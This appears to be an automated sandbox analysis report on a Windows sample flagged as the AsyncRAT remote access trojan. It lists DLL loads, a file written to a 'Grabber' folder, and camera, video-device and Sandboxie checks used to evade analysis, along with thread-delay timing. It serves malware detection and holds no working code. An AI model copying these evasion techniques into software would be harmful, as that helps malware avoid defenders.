Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

File written: C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source: viVOqZjAT0.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: viVOqZjAT0.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: winload_prod.pdb source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb source: Temp.txt.0.dr
Source:	Binary string: winload_prod.pdb\ source: Temp.txt.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: Temp.txt.0.dr

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

Code function: 0_2_0571EC58 push esp; iretd

0_2_0571EC59

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AsyncRAT

Source: Yara match	File source: viVOqZjAT0.exe, type: SAMPLE
Source: Yara match	File source: 0.0.viVOqZjAT0.exe.790000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1649299385.0000000000792000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: viVOqZjAT0.exe PID: 7132, type: MEMORYSTR

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Users\user\Desktop\viVOqZjAT0.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: viVOqZjAT0.exe

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Memory allocated: 10F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Memory allocated: 2A70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599344	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 599014	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597588	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597375	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 597047	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595265	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595156	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 595047	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594937	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Thread delayed: delay time: 594609	Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Window / User API: threadDelayed 829			Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe	Window / User API: threadDelayed 9000			Jump to behavior

Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -23058430092136925s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -599014s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -598031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\viVOqZjAT0.exe TID: 6792	Thread sleep time: -597703s >= -30000s	Jump to behavior
